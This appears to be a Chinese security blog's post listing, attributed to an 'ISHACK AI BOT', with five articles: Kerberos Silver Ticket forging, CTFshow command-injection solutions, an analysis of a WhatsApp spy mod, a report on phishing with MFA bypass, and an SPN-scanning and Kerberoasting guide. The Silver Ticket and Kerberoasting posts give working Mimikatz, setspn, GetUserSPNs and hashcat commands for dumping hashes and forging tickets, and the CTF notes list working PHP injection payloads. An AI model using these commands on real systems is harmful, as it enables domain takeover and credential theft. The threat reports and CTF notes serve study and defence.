ISHACK AI BOT 发布的所有帖子
-
Kerberos的白银票据详解
0x01白银票据(Silver Tickets)定义 白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。 0x02白银票据的特点 1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。 2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。 3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC 4.攻击者需要服务帐户密码哈希值 5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。 6.任何事件日志都在目标服务器上。 0x03创建白银票据 为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票): Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit #需要管理员权限 0x04 Mimikatz白银票据票命令 /domain –完整的域名称,如:lab.adsecurity.org /sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127 /user – 域用户名 / groups(可选) - 用户所属的组RID / ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用 /ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。 / id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID) / startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0 / endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时 / renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天 1.白银票据需要的参数 /target –目标服务器的FQDN FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”) /service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等 /rc4 –服务的NTLM散列(计算机帐户或用户帐户) 2.白银票据默认组 域用户SID:S-1-5-21 <DOMAINID> -513 域管理员SID:S-1-5-21 <DOMAINID> -512 架构管理员SID:S-1-5-21 <DOMAINID> -518 企业管理员SID:S-1-5-21 <DOMAINID> -519 组策略创建所有者SID:S-1-5-21 <DOMAINID> -520 3. Mimikatz命令创建白银票据 以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下: mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit 0x05 白银票据在各种服务中的实列 1.白银票据的服务列表 Service Type Service Silver Tickets WMI HOST RPCSS PowerShell Remoting HOST HTTP WinRM HOST HTTP Scheduled Tasks HOST Windows File Share (CIFS) CIFS LDAP operations including Mimikatz DCSync LDAP Windows Remote Server Administration Tools RPCSS LDAP CIFS 2.Windows共享(CIFS)管理访问的银票 为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。 注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括 c $共享,我们能够将文件拷贝到共享文件中。 3.具有管理员权限的Windows计算机(HOST)白银票据 创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。 利用HOST Silver Ticket,我们可以创建一个新的计划任务。 或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。 4.Silver Ticket连接到以Windows管理员权限计算机上的PowerShell远程执行 为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。 注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。 5.白银票据证连接到具有管理员权限Windows计算机上的LDAP 为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。 利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息 注:lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。 6.白银票据证连接到具有管理员权限Windows计算机上的WMI 为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。 注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。 Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand” 7.访问域控上“cifs”服务实列 首先需要获得如下信息: /domain /sid /target:目标服务器的域名全称,此处为域控的全称 /service:目标服务器上面的kerberos服务,此处为cifs /rc4:计算机账户的NTLM hash,域控主机的计算机账户 /user:要伪造的用户名,此处可用silver测试 在域控上执行如下命令来获取域控主机的本地管理员账户hash mimikatz log "sekurlsa::logonpasswords" 如图: 注: 此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。 整理以上获得的信息如下: /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver 使用mimikatz执行如下命令导入Silver Ticket mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt" 如图,成功导入,此时可以成功访问域控上的文件共享
-
[CTFshow]Web命令执行章节之[29-40]笔记
前言 直接冲 Web29 error_reporting(0)先忽略错误 isset检查是否传参 传参c参数 如果匹配没有flag(i的意思是忽略大小写) 就可以执行eval函数,eval函数就不必介绍了吧 方法一: 使用tac读取文件 %20经过url编码是空格 *是匹配fla后所有的文件 ?c=system("tac%20fla*"); 方法二: 把flag.php里的文件内容复制到别处 ?c=system("cp fla*.php a.txt"); url编码后 ?c=system("cp%20fla*.php%20a.txt"); Web30 过滤了flag system以及php 并且忽略大小写 方法一: 忽略system可以用` ` 代替system进行执行命令 以及使用?进行占位 ?c=`cp fla?.??? 1.txt`; 当然用*也是可以的 方法二:、 使用passthru代替system执行命令 ?c=passthru("tac%20fla*"); Web31 过滤的更多了 过滤了flag system php cat sort shell 还有. 空格 以及单引号 单引号双引号等需要搭配\进行转义 方法一: 用上一靶场的passthru代替system执行命令 先看看该目录有什么 ?c=passthru("ls"); 之后用%09绕过空格 ?c=passthru("tac%09fla*"); 或者 ?c=passthru("tac%09fla*????"); 方法二: 跳板逃匿 先使用 ?c=eval($_GET[1]);&1=phpinfo(); 发现可以执行并且php没有被过滤 所以我们可以直接查看flag ?c=eval($_GET[1]);&1=system("tac flag.php"); Web32 过滤了flag system php cat sort shell . 单引号 ` echo ; 还有空格以及左括号也禁掉了 方法一: 使用文件包含并且远程读取 %0a是换行符用于跳过空格 %09也可以跳过 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。 ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 解码一下得到flag Web33 比上一个多过滤了一个双引号 方法一与Web32相同 ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 方法二: 使用require包含执行 ?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 也可以解码一下就可以了 Web34 又多过滤一个冒号 上一把的解法在这一关同样适用 ?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php Web35 比之前多过滤了<以及= 方法一: 与之前一样 ?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php Web36 又把0-9给禁止了 把传入的参数改字母改成a即可 ?c=require%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php Web37 使用Php data伪协议流 data伪协议数据流是URL编码,其目的是告诉服务器该URL的数据是一个简单的纯文本格式。 ?c0=data://text/plain,<?=system('ls');?> 让我们拿flag ?c=data://text/plain,<?=system('tac fla*');?> Web38 过滤了php 用上一关的方法data伪协议可以过 ?c=data://text/plain,<?=system('tac fla*');?> Web39 如果我们输入?c=data://text/plain,<?=system(‘tac fla*’);?> 他会给我们添加成?c=data://text/plain,<?=system(‘tac fla*’);?>.php 但不影响前面代码执行 上一把的方法直接过 ?c=data://text/plain,<?=system('tac fla*');?> Web40 过滤了数字0-9 ~ \ @ # $ %^&*( -= + {} [] \ : . ‘ ” <> / >\还有() 不过是中文括号 方法一: ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); pos(localeconv())))用于获取当前区域信息 scandir扫描当前目录 array_reverse进行目录反转 next数组用于将指针移动下一个元素整理来说是获取反转目录列表后的第一个文件 show_source展现源代码 OK
-
WhatsApp间谍mod通过Telegram传播来攻击阿拉伯语用户
一些流行的即时通讯服务经常会缺乏某些自定义功能,为了解决这个问题,第三方开发者会开发出一些mod(修改或增强程序),来提供一些受欢迎的功能。但其中一些mod在提供增强功能的同时也会加入一些恶意软件。去年,卡巴斯基实验室的研究人员在WhatsApp的一个mod中发现了Triada木马。最近,他们又发现了一个嵌入间谍mod的Telegram mod,可通过Google Play传播。 WhatsApp现在的情况与此相同:研究人员发现几个之前无害的mod包含一个间谍mod,他们将该mod检测为Trojan-Spy.AndroidOS.CanesSpy。 间谍mod是如何运行的? 研究人员将通过80d7f95b7231cc857b331a993184499d示例来说明间谍mod的工作过程。 木马化的客户端清单包含在原始WhatsApp客户端中找不到的可疑组件(服务和广播接收器)。广播接收器侦听来自系统和其他应用程序的广播,例如手机开始充电,收到的文本消息或下载程序完成下载;当接收方收到这样的消息时,它调用事件处理程序。在WhatsApp间谍mod中,当手机开机或开始充电时,接收方会运行一项服务,启动间谍mod。 可疑的应用组件 该服务查看恶意软件代码中的Application_DM常量,以选择受攻击设备将继续联系的命令与控制(C&C)服务器。 选择命令和控制服务器 当恶意植入启动时,它会沿着路径/api/v1/AllRequest向攻击运营商的服务器发送包含设备信息的POST请求。这些信息包括IMEI、电话号码、移动国家代码、移动网络代码等。该木马还请求配置细节,例如上传各种类型数据的路径、向C&C请求之间的间隔等。此外,该mod每五分钟传送一次有关受害者联系人和账户的信息。 在设备信息成功上传后,恶意软件开始以预先配置的间隔(默认为一分钟)向C&C询问指令,开发人员称之为“命令”。下表包含恶意软件用于向服务器发送响应的命令和路径的详细描述: 发送到指挥控制服务器的信息引起了研究人员的注意,它们都是阿拉伯语,这表明开发者会说阿拉伯语。 WhatsApp间谍mod的攻击目标 在发现WhatsApp mod中的间谍mod后,研究人员决定找出它们是如何传播的。分析发现,Telegram是主要来源。研究人员发现了一些Telegram通道,主要是阿拉伯语和阿塞拜疆语,其中最受欢迎的节目就有近200万订阅者。研究人员提醒Telegram,这些通道被用来传播恶意软件。 在从每个通道下载最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)后,研究人员发现它们包含上述间谍mod,这验证了假设。 鉴于恶意软件组件不是原始mod的一部分,研究人员检查了几个最近的版本,并确定了第一个被攻击的版本。根据调查结果,该间谍软件自2023年8月中旬以来一直活跃。在撰写本文时,自那时以来在通道上发布的所有版本都包含恶意软件。然而,后来(如果根据APK中的时间戳判断,大约在10月20日左右),至少一个通道中的至少一个最新版本被替换为一个干净的版本。 受攻击应用程序中的DEX时间戳(左)和未攻击版本中的DEX时间戳(右) 除了Telegram渠道,受攻击的mod还通过各种可疑的网站传播,这些网站专门用于修改WhatsApp。 新型WhatsApp间谍软件的攻击范围 10月5日至31日期间,卡巴斯基安全解决方案在100多个国家发现了34万多次由WhatsApp间谍mod发起的攻击。不过,如果考虑到传播渠道的性质,实际安装数量可能会高得多。攻击次数最多的五个国家是阿塞拜疆、沙特阿拉伯、也门、土耳其和埃及。 按发现的WhatsApp间谍mod攻击次数排名的前20个国家 总结 研究人员看到包含恶意软件代码的即时通讯应用mod数量有所增加。WhatsApp的mod大多是通过第三方Android应用商店传播的,这些应用商店往往缺乏筛选,无法清除恶意软件,其中如第三方应用商店和Telegram通道,很受欢迎。但为避免丢失个人数据,建议只使用官方即时通讯客户端;如果用户需要额外的功能,建议使用一个可靠的安全解决方案,可以检测和阻止恶意软件,以防被mod攻击。
-
攻击者可利用文件共享服务和反向代理获取凭证
最近发现的网络钓鱼活动,涉及攻击者发送包含DRACOON.team链接的社交工程电子邮件。DRACOON.team是一个以安全数据存储、管理和文件共享功能而闻名的文件共享解决方案。当受害者被诱骗访问电子邮件中的链接时,他们会收到一份托管在DRACOON上的PDF文档。该文档包含一个辅助链接,将受害者引导到攻击者控制的服务器,该服务器模拟了Microsoft 365登录门户,并充当反向代理窃取受害者的登录信息和会话cookie。 这些被盗的凭据和cookie可以用来绕过多因素身份验证(MFA),攻击者控制的反向代理充当介于目标和合法身份验证终端(如Microsoft 365登录页面)之间的中间服务器。当受害者与虚假登录页面交互时,反向代理显示真正的登录表单,管理传入请求,并传递来自合法Microsoft 365登录页面的响应。 当用户在页面上输入受害者凭据后,可以立即观察到使用Microsoft 365的登录活动。该活动包括自动访问受害者的邮箱,并进一步传播初始网络钓鱼邮件,这些电子邮件包含用于欺骗受害者的相同链接,并发送到存储在其地址簿中的联系人。 反向代理功能被认为与EvilProxy网络钓鱼套件有关。但是,这里讨论的最近的活动不使用重定向。相反,它使用中间链接到包含到攻击者控制的基础设施链接的文件。这种新方法可以绕过电子邮件安全缓解措施,因为初始链接似乎来自合法来源,并且没有文件被传递到受害者的终端,因为包含该链接的托管文档可以通过浏览器中的文件共享服务器与之交互。 凭证获取事件链 针对这些事件,有关安全团队已经扫描并删除了其服务托管的潜在网络钓鱼附件。此外,被认定负责上传附件的账户已被标记为违反其服务条款而被删除。 调查钓鱼邮件 网络钓鱼邮件来自受害者的供应商,该供应商为他们提供特定的商品和服务。我们怀疑供应商组织内的一名用户的电子邮件遭到攻击,并被用来向受害者发送网络钓鱼邮件。 下图显示了受害者收到的钓鱼电子邮件样本的截图,该邮件巧妙地伪装成了一份采购订单,它在文档链接的标题中包含了供应商的名称,使其更加合法。 钓鱼邮件截图 该链接将用户重定向到以下URL: https[:]//dracoon[.]team/public/download-shares/RjqetKkzebun7rB6OWWI3kPcpZ3RruPA 这个重定向的链接指向一个存放在Dracoon(德国企业高度安全数据交换平台)网站上的公开共享的PDF文件,用户可以直接与PDF文件交互,而无需下载它,这样就减少了存储在磁盘上的可追踪证据。 Dracoon托管PDF文件,该文件包含到攻击者控制的反向代理服务器的链接 点击链接将用户重定向到一个虚假的Microsoft 365页面,该页面充当Microsoft 365登录请求的反向代理,在此过程中促进了用户凭证的盗窃。通过URL可以识别,该网站明显是在冒充微软365登录页面,合法的微软365登录页面应该是https://login.microsoftonline.com/。 在攻击者控制的反向代理服务器上托管的Microsoft 365登录页面截图 在检查登录页面的页面源时,有一个对名为myscr759609.js的JavaScript文件的引用,该文件包含一组数学函数和算术运算。 查看虚假登录页面源数据 myscr759609.js(检测为Trojan.HTML.PHISH.QURAAOOITB)的内容,其中包含算术和数学函数 当使用Node.js在本地执行时,myscr759609.js被解混淆,显示如下图所示的HTML代码。HTML内容清楚地表明myscr759609.js负责凭证收集、记录这些凭证,然后通过POST请求将收集到的信息上传到未公开的网页。 解混淆后的JavaScript,检测为trojan . html . phish . quraaooithb 通过检查Microsoft 365登录事件和MFA日志,我们可以确认反向代理212.83.170.137的存在,正如设备登录事件列表和相应的登录位置所证明的那样。通过交叉引用趋势科技Vision One的数据和微软365登录事件,我们成功地确定了需要立即关注的账户。 检查Microsoft 365登录事件 此外,MFA事件还提供了有关受攻击账户的宝贵信息。通过将用户与钓鱼页面交互的时间戳与mfalog中记录的时间戳进行比较,这些数据使我们能够调查用户是否在无意中泄露了他们的凭据。 检查MFA认证日志 基于趋势管理的扩展检测和响应(MxDR)的调查 使用Vision One后,事件序列变得显而易见。从截图中可以明显看出,这封钓鱼邮件是发送到一个微软Outlook账户的,用户接着点击了嵌入的链接,链接将他们重定向到Dracoon服务上的PDF文件。 通过Vision One检查一系列事件 PDF文件包含一个附加链接,将用户引导到反向代理凭证收集页面,如下图中的事件所示:托管在Dracoon服务上的文档既可以下载,也可以通过服务内置的PDF查看器进行交互,它允许用户通过浏览器与文档进行交互。 通过Vision One检查一系列事件 评估网络钓鱼攻击的影响在事件响应中至关重要,这为了解组织中受影响帐户的范围提供了有价值的线索。经过分析,我们能够彻底确定网络钓鱼电子邮件的收件人和那些与网络钓鱼链接交互的人。 此外,我们的调查还揭示了这次网络钓鱼活动中使用的一系列额外的Dracoon链接。这些链接还冒充微软365,目的是窃取凭证并使用会话cookie绕过MFA。 安全建议 MFA经常被称赞为防止凭证盗窃和未经授权访问的强大防御。虽然它是一个强大的安全工具,但要认识到,当涉及到保护在线帐户和敏感信息时,MFA并不是灵丹妙药。 当考虑到像EvilProxy攻击这样的威胁时,MFA的局限性就变得很明显了,这些攻击者可以拦截和操纵网络流量,有效地绕过MFA提供的附加安全层。 托管的PDF文件为攻击者提供了规避电子邮件安全措施的有效手段。通过滥用合法的文件共享服务,攻击者能够在逃避检测的同时显著提高他们的成功率,合法服务通常可以绕过大多数现有的安全措施,使它们成为攻击者的诱人工具。 来自已知或可信发件人的电子邮件并不能保证它们完全合法,用户在点击链接或下载附件时必须保持警惕和谨慎,即使是来自可信来源。 定期进行安全意识培训和全面的培训,对用户进行安全意识教育。通过提供详细的信息和实用的指导,用户可以深入了解潜在的风险以及如何缓解风险。此外,有必要强调在访问目标url之前验证其合法性的重要性。 我们不应假设所有网址都是安全的,而应鼓励用户谨慎行事,并采用可靠的方法来确认所访问网站的真实性和安全性,定期进行网络钓鱼攻击模拟演习是提高员工意识的最佳方法。 实现防网络钓鱼MFA,通过实现能够抵御网络钓鱼攻击的MFA方法(例如使用YubiKey等设备的基于fido的身份验证或无密码MFA),组织可以显著加强其身份验证过程并防止凭证被盗。 电子邮件安全,组织可以通过实施电子邮件安全解决方案来保护员工和用户免受恶意电子邮件的威胁。实现基于域的消息认证、报告和一致性(DMARC)、发件人策略框架(SPF)和域密钥识别邮件(DKIM)也将增强电子邮件的安全性。 持续监控,强烈建议建立一个强大的持续监控系统,集中收集和密切监控日志,特别是Microsoft 365访问和MFA日志,以便及时识别、调查和响应任何可疑的访问活动。
-
kerberos中的spn详解
0x01 SPN定义 服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。 0x02 SPN扫描 spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。 1.SPN格式 SPN = serviceclass “/” hostname [“:”port] [“/” servicename] serviceclass = mssql servicename =sql.bk.com 其中: serviceclass:标识服务类的字符串,例如Web服务的www hostname:一个字符串,是系统的名称。这应该是全限定域名(FQDN)。 port:一个数字,是该服务的端口号。 servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN)。 注意: 服务类和主机是必需参数,但 端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要 2.常见服务和spn服务实例名称 MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433 Exchange exchangeMDB/adsmsEXCAS01.adsecurity.org RDP TERMSERV/adsmsEXCAS01.adsecurity.org WSMan / WinRM / PS Remoting WSMAN/adsmsEXCAS01.adsecurity.org Hyper-V Host Microsoft Virtual Console Service/adsmsHV01.adsecurity.org VMWare VCenter STS/adsmsVC01.adsecurity.org 2.SPN扫描的ps脚本 发现mssql服务中的spn服务实例名称: https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers 其他的SPN服务实例名查询: https://github.com/PyroTek3/PowerShell-AD-Recon 由于每台服务器都需要注册用于Kerberos身份验证服务的SPN,因此这为在不进行端口扫描的情况下收集有关环境的信息提供了一个完美的方法。 例如: 管理员在名为“MetcorpKCS17”的服务器上安装和配置Microsoft SQL Server,并使用侦听端口3170 3&3171的SQL实例。 那么服务类和实例名称产生是这样的: MSSQLSvc/MetcorpKCS17.adsecurity.org:3170 MSSQLSvc/MetcorpKCS17.adsecurity.org:3171 蓝色的部分是服务类,橙色的部分是计算机的FQDN,绿色的最后一部分是网络端口号由于Kerberos将SPN请求与目录中的现有SPN相匹配,因此最后的数字不一定是服务在服务器上侦听的端口。如上所述,大多数情况下SPN中记录的端口是服务器上的监听端口,并非所有的SPN都包含一个端口。现在,我们有一个更好的方法来发现Active Directory域或森林中的SQL服务器:ServicePrincipalName=MSSQL* 0x03 SPN扫描和破解TGS Tickets 以MSSQL服务配置SPN为例 参考配置地址: https://technet.microsoft.com/zh-cn/library/bb735885.aspx 1.为 SQL Server 服务帐户注册SPN 手动注册: setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname 对应的命名实例: setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname 2.查看用户对应的SPN: setspn -L ruos\sql-service 3.使用ADSI(adsiedit.msc)查看用户属性 4. 在AD上为用户指定服务登陆权限。 GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment Log on as a service 5..更改 SQL Server 服务帐户为域用户帐户 6.暴力破解Kerberos TGS Tickets 由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。 7.SPN扫描 setspn -T domain -q */* 或者 https://github.com/PyroTek3/PowerShell-AD-Recon/ 8.请求SPN Kerberos Tickets PS C:\> Add-Type -AssemblyName System.IdentityModel PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS" 9. 查看并导出票据 默认配置加密类型是aes256_hmac,tgsrepcrack无法破解,可在服务器组策略指定加密类型为RC4_HMAC_MD5。 GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options Network security: Configure encryption types allowed for Kerberos 10.离线破解 tgsrepcrack(仅对RC4_HMAC_MD5),或者保存hash使用hashcat破解。 导出hash(用于其他加密类型) GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2 或者从票据中导出 kirbi2john.py 1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi S2. hashcat64.exe -m 13100 hash.txt example.dict –force 也可以参考其他破解工具如下: https://github.com/nidem/kerberoast https://github.com/coresecurity/impacket https://github.com/nidem/kerberoast/blob/master/kirbi2john.py 0x04 Active Directory服务主体名称(SPN)的综合参考表 AcronisAgent:针对Acronis备份和数据恢复软件 AdtServer:带有ACS的Microsoft System Center Operations Manager(2007/2012)管理服务器 afpserver:Apple归档协议 AgpmServer:Microsoft高级组策略管理(AGPM) aradminsvc - 任务主角色服务器 arssvc - 任务主角色服务器 bocms:商业化CMS BOSSO:商业对象 CESREMOTE:与VMWare上的Citrix VDI解决方案有关,许多VDI工作站都有这个SPN。 cifs:通用Internet文件系统 CmRcService:Microsoft系统中心配置管理器(SCCM)远程控制 CUSESSIONKEYSVR:Cisco Unity VOIP系统 cvs:CVS库 Dfsr *:分布式文件系统 DNS:域名服务器 E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC复制 E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM实例 EDVR:ExacqVision服务 exchangeAB:Exchange通讯簿服务(通常是支持NSPI的域控制器,也通常是所有的GC) exchangeMDB:RPC客户端访问服务器角色 exchangeRFR:交换通讯簿服务 fcsvr:Apple Final Cut Server FileRepService:WSFileRepService.exe FIMService:Microsoft Forefront标识管理器(FIM) ftp:文件传输协议 GC:域控制器全局编录服务 HDFS:Hadoop(Ambari) host:主机服务代表主机。HOST SPN用于在创建服务票据时访问由Kerberos协议使用长期密钥的主机帐户。 http:支持Kerberos身份验证的http网络服务的SPN Hyper-V副本服务:Microsoft Hyper-V的副本服务 IMAP:Internet消息访问协议 IMAP4:Internet消息访问协议版本4 ipp:Internet打印协议 iSCSITarget:iSCSI 配置 kadmin:Kerberos ldap:LDAP服务,如域控制器或ADAM实例。 Magfs:Maginatics MagFS mapred:Cloudera Microsoft虚拟控制台服务:HyperV主机 Microsoft虚拟系统迁移服务:P2V支持(Hyper-V) mongod:MongoDB Enterprise mongos:MongoDB Enterprise MSClusterVirtualServer:Windows群集服务器 MSOLAPSvc:SQL Server分析服务 MSOLAPSvc.3:SQL Server分析服务 MSOLAPDisco.3:SQL Server分析服务 MSOMHSvc:Microsoft系统中心运营经理(2007/2012)管理服务器 MSOMSdkSvc:Microsoft System Center Operations Manager(2007/2012)管理服务器 MSServerCluster:Windows群集服务器 MSServerClusterMgmtAPI:此群集API需要此SPN才能通过使用Kerberos向服务器进行身份验证 MSSQL:Microsoft SQL Server MSSQLSvc:Microsoft SQL Server MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft SQL Server MSSQL $ BIZTALK:Microsoft SQL Server支持Microsoft Biztalk服务器 MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft SQL Server MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL Server nfs:网络文件系统 NPPolicyEvaluator:戴尔Quest审计员 NPRepository 4(CHANGEAUDITOR):戴尔Quest Change Auditor NPRepository4(CAAD):戴尔Quest审核员 NPRepository4(默认):戴尔任务审计员 NtFrs *:NT文件复制服务 oracle:Oracle Kerberos身份验证 pcast:苹果播客制作人 PCNSCLNT:自动密码同步解决方案(MIIS 2003&FIM) POP:邮箱协议 POP3:邮箱协议版本3 PVSSoap:Citrix Provisioning Services(7.1) RestrictedKrbHost:使用服务类字符串等于“RestrictedKrbHost”的 SPN的服务类,其服务凭单使用计算机帐户密钥并共享会话密钥。 RPC:远程过程调用服务 SAP:SAP / SAPService <SID> SAS:SAS服务器 SCVMM:System Center虚拟机管理器 secshd:IBM InfoSphere sip:会话启动协议 SMTP:简单邮件传输协议 SMTPSVC:简单邮件传输协议 SoftGrid: Microsoft应用程序虚拟化(App-V)以前的“SoftGrid” STS:VMWare SSO服务 SQLAgent $ DB01NETIQ:NetIQ的SQL服务 tapinego:与路由应用程序相关联,例如Microsoft防火墙(ISA,TMG等) TERMSRV:Microsoft远程桌面协议服务,又名终端服务。 tnetd:Juniper Kerberos身份验证 “Tnetd是一个守护进程,用于路由引擎和数据包转发引擎等不同组件之间的内部通信” vmrc:Microsoft Virtual Server 2005 vnc:VNC服务器 VPN:虚拟专用网络 VProRecovery Backup Exec系统恢复代理7.0 VProRecovery Backup Exec系统恢复代理8.0 VProRecovery Backup Exec系统恢复代理9.0 VProRecovery诺顿克隆代理12.0 VProRecovery诺顿 克隆代理14.0 VProRecovery诺顿克隆代理15.0 VProRecovery Symantec系统恢复代理10.0 VProRecovery Symantec系统恢复代理11.0 VProRecovery Symantec系统恢复代理14.0 vssrvc:微软虚拟服务器(2005) WSMAN:Windows远程管理(基于WS-Management标准)服务 xmpp / XMPP:可扩展消息和呈现协议(Jabber) xgrid:苹果的分布式(网格)计算 / Mac OS X 10.6服务器管理 YARN:Cloudera MapReduce 注意: 域控制器自动将公共SPN映射到主机SPN中。计算机加入到域时,主机SPN自动添加到所有计算机帐户的ServicePrincipalName属性。域控制器SPN映射由SPNMappings中的以下位置中的属性控制: “CN=Directory Service,CN=WindowsNT,CN=Services,CN=Configuration SPN自动映射到HOST(SPNMapping属性值): alerter appmgmt cisvc clipsrv browser dhcp dnscache replicator eventlog eventsystem policyagent oakley dmserver dns 